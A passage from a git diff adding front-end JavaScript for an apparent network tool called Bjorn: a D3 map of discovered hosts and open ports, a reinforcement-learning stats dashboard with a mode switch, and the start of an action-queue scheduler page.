lazy load d3 from local static file (CSP-safe) */ + if (!d3Module) { + try { + d3Module = window.d3 || null; + if (!d3Module) { + await loadScriptOnce('/web/js/d3.v7.min.js'); + d3Module = window.d3 || null; + } + if (!d3Module) throw new Error('window.d3 unavailable'); + } catch (e) { + console.warn('[network] D3 not available:', e.message); + container.appendChild(el('div', { class: 'network-empty' }, ['D3 library not available for map view.'])); + return; + } + } + const d3 = d3Module; + + /* Force a layout recalc so clientWidth/clientHeight are up to date */ + void container.offsetHeight; + + const width = container.clientWidth || 800; + const height = container.clientHeight || 600; + console.debug('[network] Map init: container', width, 'x', height); + + svg = d3.select(container).append('svg') + .attr('width', width).attr('height', height) + .style('width', '100%').style('height', '100%'); + + /* click background to hide tooltip */ + svg.on('click', () => { + const tt = $('#d3-tooltip'); + if (tt) tt.style.opacity = '0'; + }); + + g = svg.append('g'); + + /* layers */ + g.append('g').attr('class', 'sonar-layer'); + linkGroup = g.append('g').attr('class', 'links-layer'); + nodeGroup = g.append('g').attr('class', 'nodes-layer'); + labelsGroup = g.append('g').attr('class', 'labels-layer node-labels'); + + /* zoom */ + const zoom = d3.zoom().scaleExtent([0.2, 6]).on('zoom', (e) => { + g.attr('transform', e.transform); + currentZoomScale = e.transform.k; + requestAnimationFrame(() => + labelsGroup.selectAll('.label-group') + .attr('transform', d => `translate(${d.x},${d.y + d.r + 15}) scale(${1 / currentZoomScale})`) + ); + }); + svg.call(zoom); + + /* physics */ + simulation = d3.forceSimulation() + .force('link', d3.forceLink().id(d => d.id).distance(d => d.target?.type === 'loot' ? 30 : 80)) + .force('charge', d3.forceManyBody().strength(d => d.type === 'host_empty' ? -300 : -100)) + .force('collide', d3.forceCollide().radius(d => d.r * 1.5).iterations(2)) + .force('x', d3.forceX(width / 2).strength(0.08)) + .force('y', d3.forceY(height / 2).strength(0.08)) + .alphaMin(0.05) + .velocityDecay(0.6) + .on('tick', ticked); + + tracker.trackEventListener(window, 'resize', () => { + if (viewMode !== 'map') return; + const w = container.clientWidth; + const h = container.clientHeight; + svg.attr('width', w).attr('height', h); + simulation.force('x', d3.forceX(w / 2).strength(0.08)); + simulation.force('y', d3.forceY(h / 2).strength(0.08)); + simulation.alpha(0.3).restart(); + }); + + mapInitialized = true; + if (networkData.length > 0) updateMapFromData(networkData); +} + +function loadScriptOnce(src) { + const existing = document.querySelector(`script[data-src="${src}"]`); + if (existing) { + if (existing.dataset.loaded === '1') return Promise.resolve(); + return new Promise((resolve, reject) => { + existing.addEventListener('load', () => resolve(), { once: true }); + existing.addEventListener('error', () => reject(new Error('Script load failed')), { once: true }); + }); + } + return new Promise((resolve, reject) => { + const s = document.createElement('script'); + s.src = src; + s.async = true; + s.dataset.src = src; + s.addEventListener('load', () => { + s.dataset.loaded = '1'; + resolve(); + }, { once: true }); + s.addEventListener('error', () => reject(new Error(`Script load failed: ${src}`)), { once: true }); + document.head.appendChild(s); + }); +} + +function updateMapFromData(data) { + if (!d3Module || !simulation) return; + + const incomingNodes = new Map(); + const incomingLinks = []; + + incomingNodes.set('bjorn', { id: 'bjorn', type: 'bjorn', r: 50, label: 'BJORN' }); + + data.forEach(h => { + const hasPorts = h.ports && h.ports.length > 0; + const isGateway = h.ip.endsWith('.1') || h.ip.endsWith('.254'); + const type = isGateway ? 'gateway' : (hasPorts ? 'host_active' : 'host_empty'); + const radius = isGateway ? 40 : (hasPorts ? 30 : 20); + + incomingNodes.set(h.ip, { + id: h.ip, type, ip: h.ip, label: h.hostname || h.ip, + vendor: h.vendor, r: radius, ports: h.ports, + }); + + if (hasPorts) { + h.ports.forEach(p => { + const portId = `${h.ip}_${p}`; + incomingNodes.set(portId, { id: portId, type: 'loot', label: p, r: 15, parent: h.ip }); + incomingLinks.push({ source: h.ip, target: portId }); + }); + } + }); + + /* reconcile */ + const nextNodes = []; + let hasStructuralChanges = globalNodes.length !== incomingNodes.size; + + incomingNodes.forEach((data, id) => { + const existing = globalNodes.find(n => n.id === id); + if (existing) { + if (existing.type !== data.type) hasStructuralChanges = true; + Object.assign(existing, data); + nextNodes.push(existing); + } else { + hasStructuralChanges = true; + const w = parseInt(svg.attr('width')) || 800; + const h = parseInt(svg.attr('height')) || 600; + data.x = w / 2 + (Math.random() - 0.5) * 50; + data.y = h / 2 + (Math.random() - 0.5) * 50; + nextNodes.push(data); + } + }); + + globalNodes = nextNodes; + globalLinks = incomingLinks.map(l => ({ source: l.source, target: l.target })); + updateViz(hasStructuralChanges); +} + +function updateViz(restartSim) { + const d3 = d3Module; + + /* nodes */ + const node = nodeGroup.selectAll('.node').data(globalNodes, d => d.id); + const nodeEnter = node.enter().append('g').attr('class', 'node') + .call(d3.drag() + .on('start', (e, d) => { if (!e.active) simulation.alphaTarget(0.3).restart(); d.fx = d.x; d.fy = d.y; }) + .on('drag', (e, d) => { d.fx = e.x; d.fy = e.y; }) + .on('end', (e, d) => { if (!e.active) simulation.alphaTarget(0); d.fx = null; d.fy = null; })); + + nodeEnter.append('g').attr('class', 'foam-container'); + nodeEnter.append('image').attr('class', 'node-icon') + .on('error', function () { d3.select(this).style('display', 'none'); }); + + const nodeUpdate = nodeEnter.merge(node); + nodeUpdate.attr('class', d => `node ${d.type === 'host_empty' ? 'empty' : ''}`); + nodeUpdate.select('.node-icon') + .attr('xlink:href', d => ICONS[d.type] || ICONS.host_empty) + .attr('x', d => -d.r).attr('y', d => -d.r) + .attr('width', d => d.r * 2).attr('height', d => d.r * 2) + .style('display', 'block'); + + nodeUpdate.select('.foam-container').each(function (d) { + if (!['bjorn', 'gateway', 'host_active'].includes(d.type)) { + d3.select(this).selectAll('*').remove(); + return; + } + if (d3.select(this).selectAll('circle').empty()) { + const c = d3.select(this); + [1, 2].forEach(i => c.append('circle').attr('class', 'foam-ring').attr('r', d.r * (1 + i * 0.15))); + } + }); + + nodeUpdate.on('click', (e, d) => showTooltip(e, d)); + node.exit().transition().duration(500).style('opacity', 0).remove(); + + /* links */ + const link = linkGroup.selectAll('.link').data(globalLinks, d => + (d.source.id || d.source) + '-' + (d.target.id || d.target)); + link.enter().append('line').attr('class', 'link'); + link.exit().remove(); + + /* labels */ + const labelData = globalNodes.filter(d => ['bjorn', 'gateway', 'host_active', 'loot'].includes(d.type)); + const label = labelsGroup.selectAll('.label-group').data(labelData, d => d.id); + const labelEnter = label.enter().append('g').attr('class', 'label-group'); + labelEnter.append('rect').attr('class', 'label-bg').attr('height', 16); + labelEnter.append('text').attr('class', 'label-text').attr('text-anchor', 'middle').attr('y', 11); + + const labelUpdate = labelEnter.merge(label); + labelUpdate.select('text').text(d => d.label).each(function () { + const w = this.getBBox().width; + d3.select(this.parentNode).select('rect').attr('x', -w / 2 - 4).attr('width', w + 8); + }); + label.exit().remove(); + + labelsGroup.style('opacity', showLabels ? 1 : 0); + + simulation.nodes(globalNodes); + simulation.force('link').links(globalLinks); + if (restartSim) simulation.alpha(0.3).restart(); +} + +function ticked() { + linkGroup.selectAll('.link') + .attr('x1', d => d.source.x).attr('y1', d => d.source.y) + .attr('x2', d => d.target.x).attr('y2', d => d.target.y); + + nodeGroup.selectAll('.node') + .attr('transform', d => `translate(${d.x},${d.y})`); + + labelsGroup.selectAll('.label-group') + .attr('transform', d => `translate(${d.x},${d.y + d.r + 15}) scale(${1 / currentZoomScale})`); + + /* sonar on bjorn */ + const bjorn = globalNodes.find(n => n.type === 'bjorn'); + if (bjorn && g) { + let sonar = g.select('.sonar-layer').selectAll('.sonar-wave').data([bjorn]); + sonar.enter().append('circle').attr('class', 'sonar-wave') + .merge(sonar).attr('cx', d => d.x).attr('cy', d => d.y); + } +} + +function showTooltip(e, d) { + e.stopPropagation(); + const tt = $('#d3-tooltip'); + if (!tt) return; + empty(tt); + if (d.type === 'loot') { + tt.appendChild(el('div', {}, [`\u{1F4B0} Port ${d.label}`])); + } else { + tt.appendChild(el('div', { style: 'color:var(--accent1);font-weight:bold;margin-bottom:5px' }, [d.label])); + if (d.ip && d.ip !== d.label) tt.appendChild(el('div', {}, [d.ip])); + if (d.vendor) tt.appendChild(el('div', { style: 'opacity:0.8;font-size:0.8em' }, [d.vendor])); + } + tt.style.left = (e.pageX + 10) + 'px'; + tt.style.top = (e.pageY - 50) + 'px'; + tt.style.opacity = '1'; +} diff --git a/web/js/pages/rl-dashboard.js b/web/js/pages/rl-dashboard.js new file mode 100644 index 0000000..37d634c --- /dev/null +++ b/web/js/pages/rl-dashboard.js @@ -0,0 +1,614 @@ +/** + * RL Dashboard - Abstract model cloud visualization. + * Canvas is intentionally NOT linked to current action execution. + */ + +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, setText, empty } from '../core/dom.js'; + +let tracker = null; +let statsPoller = null; +let historyPoller = null; +let metricsGraph = null; +let modelCloud = null; + +export async function mount(container) { + tracker = new ResourceTracker('rl-dashboard'); + container.innerHTML = ''; + container.appendChild(buildLayout()); + + await fetchStats(); + await fetchHistory(); + await fetchExperiences(); + + statsPoller = new Poller(fetchStats, 5000); + historyPoller = new Poller(async () => { + await fetchHistory(); + await fetchExperiences(); + }, 10000); + + statsPoller.start(); + historyPoller.start(); +} + +export function unmount() { + if (statsPoller) { + statsPoller.stop(); + statsPoller = null; + } + if (historyPoller) { + historyPoller.stop(); + historyPoller = null; + } + if (metricsGraph) { + metricsGraph.destroy(); + metricsGraph = null; + } + if (modelCloud) { + modelCloud.destroy(); + modelCloud = null; + } + if (tracker) { + tracker.cleanupAll(); + tracker = null; + } +} + +/* ======================== Mini Metrics Canvas ======================== */ + +class MultiMetricGraph { + constructor(canvasId) { + this.data = { + epsilon: new Array(100).fill(0), + reward: new Array(100).fill(0), + loss: new Array(100).fill(0), + }; + this.colors = { + epsilon: '#00d4ff', + reward: '#00ff6a', + loss: '#ff4169', + }; + + this.canvas = document.getElementById(canvasId); + if (!this.canvas) return; + this.ctx = this.canvas.getContext('2d'); + + this._onResize = () => this.resize(); + window.addEventListener('resize', this._onResize); + this.resize(); + this.animate(); + } + + destroy() { + window.removeEventListener('resize', this._onResize); + if (this._raf) cancelAnimationFrame(this._raf); + } + + resize() { + const p = this.canvas.parentElement; + this.canvas.width = Math.max(1, p.offsetWidth); + this.canvas.height = Math.max(1, p.offsetHeight); + this.width = this.canvas.width; + this.height = this.canvas.height; + } + + update(stats) { + if (!stats) return; + this.data.epsilon.shift(); + this.data.reward.shift(); + this.data.loss.shift(); + + this.data.epsilon.push(Number(stats.epsilon || 0)); + const recent = Array.isArray(stats.recent_activity) ? stats.recent_activity : []; + const r = recent.length ? Number(recent[0].reward || 0) : 0; + const prevR = this.data.reward[this.data.reward.length - 1] || 0; + this.data.reward.push(prevR * 0.8 + r * 0.2); + + const l = Number(stats.last_loss || 0); + const prevL = this.data.loss[this.data.loss.length - 1] || 0; + this.data.loss.push(prevL * 0.9 + l * 0.1); + } + + animate() { + this._raf = requestAnimationFrame(() => this.animate()); + this.ctx.clearRect(0, 0, this.width, this.height); + this.drawLine(this.data.epsilon, this.colors.epsilon, 1.0); + this.drawLine(this.data.reward, this.colors.reward, 10.0); + this.drawLine(this.data.loss, this.colors.loss, 5.0); + } + + drawLine(data, color, maxVal) { + if (data.length < 2) return; + const stepX = this.width / (data.length - 1); + this.ctx.beginPath(); + data.forEach((val, i) => { + const x = i * stepX; + const y = this.height - (Math.max(0, val) / Math.max(0.001, maxVal)) * this.height * 0.8 - 5; + if (i === 0) this.ctx.moveTo(x, y); + else this.ctx.lineTo(x, y); + }); + this.ctx.strokeStyle = color; + this.ctx.lineWidth = 2; + this.ctx.stroke(); + } +} + +/* ======================== Abstract Model Cloud ======================== */ + +class ModelCloud { + constructor(canvasId) { + this.canvas = document.getElementById(canvasId); + if (!this.canvas) return; + this.ctx = this.canvas.getContext('2d'); + this.tooltip = document.getElementById('brain-tooltip'); + + this.nodes = []; + this.tick = 0; + this.hoverIndex = -1; + this.meta = { + model_loaded: false, + model_version: null, + model_param_count: 0, + model_layer_count: 0, + model_feature_count: 0, + }; + + this.resizeObserver = new ResizeObserver(() => this.resize()); + this.resizeObserver.observe(this.canvas.parentElement); + this.resize(); + + this.onMouseMove = (e) => this.handleMouseMove(e); + this.canvas.addEventListener('mousemove', this.onMouseMove); + this.canvas.addEventListener('mouseleave', () => { + this.hoverIndex = -1; + if (this.tooltip) this.tooltip.style.display = 'none'; + }); + + this.reseedNodes(30); + this.animate(); + } + + destroy() { + if (this.resizeObserver) this.resizeObserver.disconnect(); + if (this.canvas && this.onMouseMove) this.canvas.removeEventListener('mousemove', this.onMouseMove); + if (this.raf) cancelAnimationFrame(this.raf); + } + + resize() { + const p = this.canvas.parentElement; + this.width = Math.max(1, p.offsetWidth); + this.height = Math.max(1, p.offsetHeight); + this.canvas.width = this.width; + this.canvas.height = this.height; + } + + updateFromStats(stats) { + this.meta = { + model_loaded: !!stats.model_loaded, + model_version: stats.model_version || null, + model_param_count: Number(stats.model_param_count || 0), + model_layer_count: Number(stats.model_layer_count || 0), + model_feature_count: Number(stats.model_feature_count || 0), + }; + + const nTarget = this.computeNodeTarget(this.meta); + this.adjustPopulation(nTarget); + this.updateNodeEncoding(); + } + + computeNodeTarget(meta) { + if (!meta.model_loaded) return 26; + const pScore = Math.log10(Math.max(10, meta.model_param_count)); + const lScore = Math.max(1, meta.model_layer_count); + const fScore = Math.log10(Math.max(10, meta.model_feature_count * 100)); + const raw = 18 + pScore * 14 + lScore * 2 + fScore * 8; + return Math.max(25, Math.min(180, Math.round(raw))); + } + + reseedNodes(count) { + this.nodes = []; + for (let i = 0; i < count; i++) { + this.nodes.push(this.makeNode()); + } + } + + makeNode() { + const r = 2 + Math.random() * 4; + return { + x: Math.random() * this.width, + y: Math.random() * this.height, + vx: (Math.random() - 0.5) * 0.35, + vy: (Math.random() - 0.5) * 0.35, + r, + energy: 0.2 + Math.random() * 0.8, + phase: Math.random() * Math.PI * 2, + cluster: Math.floor(Math.random() * 4), + }; + } + + adjustPopulation(target) { + const current = this.nodes.length; + if (current < target) { + for (let i = 0; i < target - current; i++) this.nodes.push(this.makeNode()); + } else if (current > target) { + this.nodes.length = target; + } + } + + updateNodeEncoding() { + const layers = Math.max(1, this.meta.model_layer_count || 1); + for (let i = 0; i < this.nodes.length; i++) { + const n = this.nodes[i]; + n.cluster = i % layers; + n.energy = 0.25 + ((i % (layers + 3)) / (layers + 3)); + n.r = 2 + (n.energy * 4.5); + } + } + + handleMouseMove(e) { + const rect = this.canvas.getBoundingClientRect(); + const mx = e.clientX - rect.left; + const my = e.clientY - rect.top; + this.hoverIndex = -1; + for (let i = 0; i < this.nodes.length; i++) { + const n = this.nodes[i]; + const dx = mx - n.x; + const dy = my - n.y; + if (dx * dx + dy * dy <= (n.r + 4) * (n.r + 4)) { + this.hoverIndex = i; + break; + } + } + + if (!this.tooltip || this.hoverIndex < 0) { + if (this.tooltip) this.tooltip.style.display = 'none'; + return; + } + + const n = this.nodes[this.hoverIndex]; + this.tooltip.style.display = 'block'; + this.tooltip.innerHTML = ` + Model Cloud Node
                              + Cluster ${n.cluster + 1}
                              + Energy ${(n.energy * 100).toFixed(1)}% + `; + const tx = Math.min(this.width - 180, mx + 12); + const ty = Math.min(this.height - 80, my + 12); + this.tooltip.style.left = `${Math.max(8, tx)}px`; + this.tooltip.style.top = `${Math.max(8, ty)}px`; + } + + animate() { + this.raf = requestAnimationFrame(() => this.animate()); + this.tick += 0.01; + this.ctx.clearRect(0, 0, this.width, this.height); + + this.drawLinks(); + this.updateAndDrawNodes(); + this.drawOverlay(); + } + + drawLinks() { + const maxDist = 70; + for (let i = 0; i < this.nodes.length; i++) { + const a = this.nodes[i]; + for (let j = i + 1; j < this.nodes.length; j++) { + const b = this.nodes[j]; + const dx = a.x - b.x; + const dy = a.y - b.y; + const d2 = dx * dx + dy * dy; + if (d2 > maxDist * maxDist) continue; + const d = Math.sqrt(d2); + const alpha = (1 - d / maxDist) * 0.2; + this.ctx.strokeStyle = `rgba(90,200,255,${alpha})`; + this.ctx.lineWidth = 0.6; + this.ctx.beginPath(); + this.ctx.moveTo(a.x, a.y); + this.ctx.lineTo(b.x, b.y); + this.ctx.stroke(); + } + } + } + + updateAndDrawNodes() { + for (let i = 0; i < this.nodes.length; i++) { + const n = this.nodes[i]; + n.x += n.vx + Math.cos(this.tick + n.phase) * 0.08; + n.y += n.vy + Math.sin(this.tick * 1.2 + n.phase) * 0.08; + + if (n.x < 0 || n.x > this.width) n.vx *= -1; + if (n.y < 0 || n.y > this.height) n.vy *= -1; + n.x = Math.max(0, Math.min(this.width, n.x)); + n.y = Math.max(0, Math.min(this.height, n.y)); + + const pulse = 0.55 + Math.sin(this.tick * 2 + n.phase) * 0.45; + const rr = n.r * (0.9 + pulse * 0.2); + const isHover = i === this.hoverIndex; + const color = clusterColor(n.cluster, n.energy); + + this.ctx.beginPath(); + this.ctx.arc(n.x, n.y, rr + (isHover ? 1.8 : 0), 0, Math.PI * 2); + this.ctx.fillStyle = color; + this.ctx.shadowBlur = isHover ? 14 : 6; + this.ctx.shadowColor = color; + this.ctx.fill(); + this.ctx.shadowBlur = 0; + } + } + + drawOverlay() { + const m = this.meta; + this.ctx.fillStyle = 'rgba(5,8,12,0.7)'; + this.ctx.fillRect(10, 10, 270, 68); + this.ctx.strokeStyle = 'rgba(85,120,145,0.35)'; + this.ctx.strokeRect(10, 10, 270, 68); + this.ctx.fillStyle = '#d1ecff'; + this.ctx.font = '11px "Fira Code", monospace'; + this.ctx.fillText(`Model: ${m.model_version || 'none'}`, 18, 28); + this.ctx.fillText(`Params: ${fmtInt(m.model_param_count)} | Layers: ${m.model_layer_count || 0}`, 18, 46); + this.ctx.fillText(`Features: ${m.model_feature_count || 0} | Nodes: ${this.nodes.length}`, 18, 64); + } +} + +function fmtInt(v) { + try { + return Number(v || 0).toLocaleString(); + } catch { + return String(v || 0); + } +} + +function clusterColor(cluster, energy) { + const palette = [ + [0, 220, 255], + [0, 255, 160], + [180, 140, 255], + [255, 120, 180], + [255, 200, 90], + ]; + const base = palette[Math.abs(cluster) % palette.length]; + const a = 0.25 + Math.max(0.0, Math.min(1.0, energy)) * 0.7; + return `rgba(${base[0]},${base[1]},${base[2]},${a})`; +} + +/* ======================== Layout ======================== */ + +function buildLayout() { + const mobileStyle = ` + @media (max-width: 768px) { + .brain-hero { height: 220px !important; margin-bottom: 12px !important; border-radius: 14px !important; } + .kpi-cards { grid-template-columns: 1fr 1fr !important; gap: 8px !important; } + .grid-stack { grid-template-columns: 1fr !important; gap: 12px !important; } + .title { font-size: 1.25rem !important; } + } + `; + + return el('div', { class: 'dashboard-container' }, [ + el('style', {}, [mobileStyle]), + + el('div', { class: 'head', style: 'display:flex;justify-content:space-between;align-items:center;margin-bottom:10px' }, [ + el('h2', { class: 'title' }, ['AI Brain Cloud']), + ]), + + el('div', { + class: 'brain-hero', + style: 'position:relative; width:min(860px,96%); height:360px; margin:0 auto 20px; border-radius:18px; background:#030507; border:1px solid #233036; overflow:hidden; box-shadow: 0 0 28px rgba(0,170,255,0.16)', + }, [ + el('canvas', { id: 'brain-canvas', style: 'width:100%;height:100%' }), + el('div', { id: 'brain-tooltip', style: 'position:absolute; top:0; left:0; background:rgba(0,0,0,0.85); border:1px solid var(--acid); color:#fff; padding:8px 12px; border-radius:4px; font-size:0.8em; pointer-events:none; display:none; z-index:10; white-space:nowrap;' }), + ]), + + el('div', { class: 'kpi-cards', style: 'display:flex; gap:10px; margin-bottom:20px; overflow-x:auto; padding-bottom:5px' }, [ + el('div', { class: 'kpi', style: 'flex:0 0 250px; display:flex; flex-direction:column; justify-content:center' }, [ + el('div', { class: 'label', style: 'margin-bottom:5px' }, ['Operation Mode']), + el('div', { class: 'mode-selector', style: 'display:flex; gap:2px; background:#111; padding:2px; border-radius:4px; border:1px solid #333' }, [ + el('button', { class: 'mode-btn', id: 'mode-manual', onclick: () => setOperationMode('MANUAL'), style: 'flex:1;border:none;background:none;color:#666;cursor:pointer;padding:4px 8px;font-size:0.75em;border-radius:2px' }, ['MANUAL']), + el('button', { class: 'mode-btn', id: 'mode-auto', onclick: () => setOperationMode('AUTO'), style: 'flex:1;border:none;background:none;color:#666;cursor:pointer;padding:4px 8px;font-size:0.75em;border-radius:2px' }, ['AUTO']), + el('button', { class: 'mode-btn', id: 'mode-ai', onclick: () => setOperationMode('AI'), style: 'flex:1;border:none;background:none;color:#666;cursor:pointer;padding:4px 8px;font-size:0.75em;border-radius:2px' }, ['AI']), + ]), + ]), + el('div', { class: 'kpi', style: 'flex:1; display:flex; flex-direction:column; justify-content:center; align-items:center' }, [ + el('div', { class: 'label' }, ['Episodes']), + el('div', { class: 'val', id: 'val-episodes', style: 'font-size:1.5em' }, ['0']), + ]), + el('div', { class: 'kpi', style: 'flex:1; display:flex; flex-direction:column; justify-content:center; align-items:center' }, [ + el('div', { class: 'label' }, ['Epsilon']), + el('div', { class: 'val', id: 'val-epsilon', style: 'font-size:1.5em; color:cyan' }, ['0.00']), + ]), + el('div', { class: 'kpi', style: 'flex:1; display:flex; flex-direction:column; justify-content:center; align-items:center' }, [ + el('div', { class: 'label' }, ['Q-Size']), + el('div', { class: 'val', id: 'val-qsize', style: 'font-size:1.5em' }, ['0']), + ]), + el('div', { id: 'mini-graph-container', style: 'flex:2; border-left:1px solid #333; padding-left:15px; position:relative; min-width:300px' }, [ + el('canvas', { id: 'metrics-canvas', style: 'width:100%; height:100%' }), + ]), + ]), + + el('div', { class: 'grid-stack', style: 'display:grid;grid-template-columns:1fr 1fr; gap:20px;' }, [ + el('div', { class: 'card' }, [ + el('h3', {}, ['Model Manifest']), + el('div', { id: 'model-manifest', style: 'display:flex; flex-wrap:wrap; gap:5px; margin-top:10px; max-height:250px; overflow-y:auto' }), + ]), + el('div', { class: 'card' }, [ + el('h3', {}, ['Recent Confidence Signals']), + el('div', { id: 'confidence-bars', style: 'margin-top:10px; display:flex; flex-direction:column; gap:8px' }), + ]), + el('div', { class: 'card' }, [ + el('h3', {}, ['Data Sync History']), + el('div', { class: 'table-responsive', style: 'max-height:400px;overflow-y:auto' }, [ + el('table', { class: 'table' }, [ + el('thead', {}, [el('tr', {}, [el('th', {}, ['Time']), el('th', {}, ['Records']), el('th', {}, ['Sync Status'])])]), + el('tbody', { id: 'history-body' }), + ]), + ]), + ]), + el('div', { class: 'card' }, [ + el('h3', {}, ['Recent Experiences']), + el('div', { id: 'experience-feed', style: 'display:flex;flex-direction:column;gap:10px;max-height:400px;overflow-y:auto' }), + ]), + ]), + ]); +} + +/* ======================== Fetchers ======================== */ + +async function fetchStats() { + try { + const data = await api.get('/api/rl/stats'); + if (!data) return; + + if (!metricsGraph && document.getElementById('metrics-canvas')) { + metricsGraph = new MultiMetricGraph('metrics-canvas'); + if (tracker) tracker.trackResource(() => metricsGraph && metricsGraph.destroy()); + } + if (metricsGraph) metricsGraph.update(data); + + if (!modelCloud && document.getElementById('brain-canvas')) { + modelCloud = new ModelCloud('brain-canvas'); + if (tracker) tracker.trackResource(() => modelCloud && modelCloud.destroy()); + } + if (modelCloud) modelCloud.updateFromStats(data); + + setText($('#val-episodes'), data.episodes ?? 0); + setText($('#val-epsilon'), Number(data.epsilon || 0).toFixed(4)); + setText($('#val-qsize'), data.q_table_size ?? 0); + + updateModeUI(data.mode || (data.ai_mode ? 'AI' : data.manual_mode ? 'MANUAL' : 'AUTO')); + updateManifest(data); + + if (Array.isArray(data.recent_activity) && data.recent_activity.length) { + renderConfidenceBars(data.recent_activity); + } + } catch (e) { + console.error(e); + } +} + +function updateManifest(data) { + const manifest = $('#model-manifest'); + if (!manifest) return; + empty(manifest); + + const tags = [ + `MODEL: ${data.model_loaded ? 'LOADED' : 'HEURISTIC'}`, + `VERSION: ${data.model_version || 'N/A'}`, + `PARAMS: ${fmtInt(data.model_param_count || 0)}`, + `LAYERS: ${data.model_layer_count || 0}`, + `FEATURES: ${data.model_feature_count || 0}`, + `SAMPLES: ${fmtInt(data.training_samples || 0)}`, + ]; + + tags.forEach((txt) => { + manifest.appendChild(el('div', { + style: 'background:#111; border:1px solid #333; padding:3px 8px; border-radius:4px; font-size:0.72em; color:var(--text-main); white-space:nowrap', + }, [txt])); + }); +} + +function renderConfidenceBars(activity) { + const container = $('#confidence-bars'); + if (!container) return; + empty(container); + + activity.forEach((act) => { + const reward = Number(act.reward || 0); + const color = reward > 0 ? 'var(--acid)' : '#ff3333'; + const success = reward > 0; + container.appendChild(el('div', { style: 'display:flex; flex-direction:column; gap:2px' }, [ + el('div', { style: 'display:flex; justify-content:space-between; font-size:0.8em' }, [ + el('span', {}, [act.action || '-']), + el('span', { style: `color:${color}` }, [success ? 'CONFIDENT' : 'UNCERTAIN']), + ]), + el('div', { style: 'height:4px; background:#222; border-radius:3px; overflow:hidden' }, [ + el('div', { style: `height:100%; background:${color}; width:${Math.min(Math.abs(reward) * 5, 100)}%; transition:width 0.45s ease-out` }), + ]), + ])); + }); +} + +async function fetchHistory() { + try { + const data = await api.get('/api/rl/history'); + if (!data || !Array.isArray(data.history)) return; + const tbody = $('#history-body'); + empty(tbody); + data.history.forEach((row) => { + const ts = String(row.timestamp || ''); + const parsed = new Date(ts.includes('Z') ? ts : `${ts}Z`); + tbody.appendChild(el('tr', {}, [ + el('td', {}, [Number.isFinite(parsed.getTime()) ? parsed.toLocaleTimeString() : ts]), + el('td', {}, [String(row.record_count || 0)]), + el('td', { style: 'color:var(--acid)' }, ['COMPLETED']), + ])); + }); + } catch (e) { + console.error(e); + } +} + +async function fetchExperiences() { + try { + const data = await api.get('/api/rl/experiences'); + if (!data || !Array.isArray(data.experiences)) return; + const container = $('#experience-feed'); + empty(container); + data.experiences.forEach((exp) => { + let color = 'var(--text-main)'; + if (exp.reward > 0) color = 'var(--acid)'; + if (exp.reward < 0) color = 'var(--glitch)'; + container.appendChild(el('div', { + class: 'exp-item', + style: `padding:8px; background:rgba(255,255,255,0.05); border-radius:4px; border-left:3px solid ${color}`, + }, [ + el('div', { style: 'display:flex;justify-content:space-between' }, [ + el('strong', {}, [exp.action_name || '-']), + el('span', { style: `color:${color};font-weight:bold` }, [exp.reward > 0 ? `+${exp.reward}` : `${exp.reward}`]), + ]), + el('div', { style: 'font-size:0.85em; opacity:0.7; margin-top:4px' }, [ + el('span', {}, [new Date(String(exp.timestamp || '').includes('Z') ? exp.timestamp : `${exp.timestamp}Z`).toLocaleString()]), + ' - ', + el('span', {}, [exp.success ? 'SUCCESS' : 'FAIL']), + ]), + ])); + }); + } catch (e) { + console.error(e); + } +} + +function updateModeUI(mode) { + if (!mode) return; + const m = String(mode).toUpperCase().trim(); + ['MANUAL', 'AUTO', 'AI'].forEach((v) => { + const btn = $(`#mode-${v.toLowerCase()}`); + if (!btn) return; + if (v === m) { + btn.style.background = 'var(--acid)'; + btn.style.color = '#000'; + btn.style.fontWeight = 'bold'; + } else { + btn.style.background = 'none'; + btn.style.color = '#666'; + btn.style.fontWeight = 'normal'; + } + }); +} + +async function setOperationMode(mode) { + try { + const data = await api.post('/api/rl/config', { mode }); + if (data.status === 'ok') { + updateModeUI(data.mode); + if (window.toast) window.toast(`Operation Mode: ${data.mode}`); + const bc = new BroadcastChannel('bjorn_mode_sync'); + bc.postMessage({ mode: data.mode }); + bc.close(); + } else if (window.toast) { + window.toast(`Error: ${data.message}`, 'error'); + } + } catch (err) { + console.error(err); + if (window.toast) window.toast('Communication Error', 'error'); + } +} diff --git a/web/js/pages/scheduler.js b/web/js/pages/scheduler.js new file mode 100644 index 0000000..ad6e66f --- /dev/null +++ b/web/js/pages/scheduler.js @@ -0,0 +1,544 @@ +/** + * Scheduler page module. + * Kanban-style board with 6 lanes, live refresh, countdown timers, search, history modal. + * Endpoints: GET /action_queue, POST /queue_cmd, GET /attempt_history + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, $$, empty } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +const PAGE = 'scheduler'; +const PAGE_SIZE = 100; +const LANES = ['running', 'pending', 'upcoming', 'success', 'failed', 'cancelled']; +const LANE_LABELS = { + running: t('sched.running'), + pending: t('sched.pending'), + upcoming: t('sched.upcoming'), + success: t('sched.success'), + failed: t('sched.failed'), + cancelled: t('sched.cancelled') +}; + +/* ── state ── */ +let tracker = null; +let poller = null; +let clockTimer = null; +let LIVE = true; +let FOCUS = false; +let COMPACT = false; +let COLLAPSED = false; +let INCLUDE_SUPERSEDED = false; +let lastBuckets = null; +let showCount = null; +let lastFilterKey = ''; +let iconCache = new Map(); + +/* ── lifecycle ── */ +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + container.appendChild(buildShell()); + tracker.trackEventListener(window, 'keydown', (e) => { + if (e.key === 'Escape') closeModal(); + }); + await tick(); + setLive(true); +} + +export function unmount() { + if (poller) { poller.stop(); poller = null; } + if (clockTimer) { clearInterval(clockTimer); clockTimer = null; } + if (tracker) { tracker.cleanupAll(); tracker = null; } + lastBuckets = null; + showCount = null; + iconCache.clear(); +} + +/* ── shell ── */ +function buildShell() { + return el('div', { class: 'scheduler-container' }, [ + el('div', { id: 'sched-errorBar', class: 'notice', style: 'display:none' }), + el('div', { class: 'controls' }, [ + el('input', { + type: 'text', id: 'sched-search', placeholder: 'Filter (action, MAC, IP, host, service, port...)', + oninput: onSearch + }), + pill('sched-liveBtn', t('common.on'), true, () => setLive(!LIVE)), + pill('sched-refBtn', t('common.refresh'), false, () => tick()), + pill('sched-focBtn', 'Focus active', false, () => { FOCUS = !FOCUS; $('#sched-focBtn')?.classList.toggle('active', FOCUS); lastFilterKey = ''; tick(); }), + pill('sched-cmpBtn', 'Compact', false, () => { COMPACT = !COMPACT; $('#sched-cmpBtn')?.classList.toggle('active', 